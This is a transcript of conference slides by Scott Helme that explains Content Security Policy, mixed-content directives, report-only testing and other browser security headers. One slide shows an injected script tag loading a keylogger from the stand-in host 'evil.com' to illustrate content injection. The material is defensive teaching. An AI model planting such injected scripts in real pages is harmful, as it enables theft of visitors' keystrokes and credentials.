d3ldn17 - recruiting the browser

31
Recruiting The Browser @Scott_Helme | scotthelme.co.uk Scott Helme

Upload: imperva-incapsula

Post on 21-Jan-2018

90 views

Category:

Technology


4 download

TRANSCRIPT

Page 1: D3LDN17 - Recruiting the Browser

Recruiting The Browser

@Scott_Helme |

scotthelme.co.uk

Scott Helme

Page 2: D3LDN17 - Recruiting the Browser
Page 3: D3LDN17 - Recruiting the Browser
Page 4: D3LDN17 - Recruiting the Browser
Page 5: D3LDN17 - Recruiting the Browser
Page 6: D3LDN17 - Recruiting the Browser
Page 7: D3LDN17 - Recruiting the Browser
Page 8: D3LDN17 - Recruiting the Browser
Page 9: D3LDN17 - Recruiting the Browser
Page 10: D3LDN17 - Recruiting the Browser

How security has evolved

Page 11: D3LDN17 - Recruiting the Browser

Browser support

Page 12: D3LDN17 - Recruiting the Browser

Content Security Policy

Page 13: D3LDN17 - Recruiting the Browser

Content Injection

<html>

<body>

<comment>

<script src=“evil.com/keylogger.js”></script>

</comment>

Page 14: D3LDN17 - Recruiting the Browser

What is CSP?

cache-control: max-age=0, no-cache

content-encoding: gzip

content-security-policy: [policy goes here]

date: Tue, 17 Oct 2017 11:30:00

server: Incapsula

status: 200

Page 15: D3LDN17 - Recruiting the Browser

child-src

connect-src

default-src

font-src

frame-src

CSP Directives

img-src

media-src

object-src

script-src

style-src

Page 16: D3LDN17 - Recruiting the Browser

A basic policy

Content-Security-Policy: default-src ‘self’ example.com

Page 17: D3LDN17 - Recruiting the Browser

Fine tuning

Content-Security-Policy: default-src ‘self’;

script-src ‘self’ cdnjs.cloudflare.com ajax.googleapis.com

<script src="https://ajax.googleapis.com/.../jquery.min.js">

</script>

<script src="https://cdnjs.cloudflare.com/.../bootstrap.min.js">

</script>

Page 18: D3LDN17 - Recruiting the Browser

Fine tuning

Content-Security-Policy: default-src ‘self’;

script-src [source list];

style-src [source list];

img-src [source list];

frame-src [source list];

Page 19: D3LDN17 - Recruiting the Browser

Mixed-Content

Page 20: D3LDN17 - Recruiting the Browser

Mixed-Content

Page 21: D3LDN17 - Recruiting the Browser

Mixed-Content

Page 22: D3LDN17 - Recruiting the Browser

Mixed-Content

block-all-mixed-content

<img src=“http://imgur.com/Incapsula-D3.png”>

Page 23: D3LDN17 - Recruiting the Browser

Mixed-Content

upgrade-insecure-

requests

<img src=“http://imgur.com/Incapsula-D3.png”>

Page 24: D3LDN17 - Recruiting the Browser

Testing CSP

Content-Security-Policy-Report-Only: [policy]

Console:

Refused to load the script

‘https://code.jquery.com/jquery.1.11.3min.js’ because it violates the

following Content Security Policy directive: script-src

Page 25: D3LDN17 - Recruiting the Browser

Testing CSP

Content-Security-Policy-Report-Only: [policy]

report-uri https://report-uri.io

{

"csp-report": {

"document-uri": "http://scotthelme.co.uk/blah/",

"violated-directive": "default-src https:",

”effective-directive": ”img-src",

"blocked-uri": "http://imgur.com" ...

Page 26: D3LDN17 - Recruiting the Browser
Page 27: D3LDN17 - Recruiting the Browser
Page 28: D3LDN17 - Recruiting the Browser

Content-Security-PolicyContent-Security-Policy-Report-OnlyX-Webkit-Content-Security-PolicyX-Content-Security-Policy

Public-Key-PinsPublic-Key-Pins-Report-Only

Other Security Headers

Expect-Staple

Expect-CT

X-Xss-Protection

Page 29: D3LDN17 - Recruiting the Browser
Page 30: D3LDN17 - Recruiting the Browser
Page 31: D3LDN17 - Recruiting the Browser

Secure all the things!

@Scott_Helme | scotthelme.co.uk

Scott Helme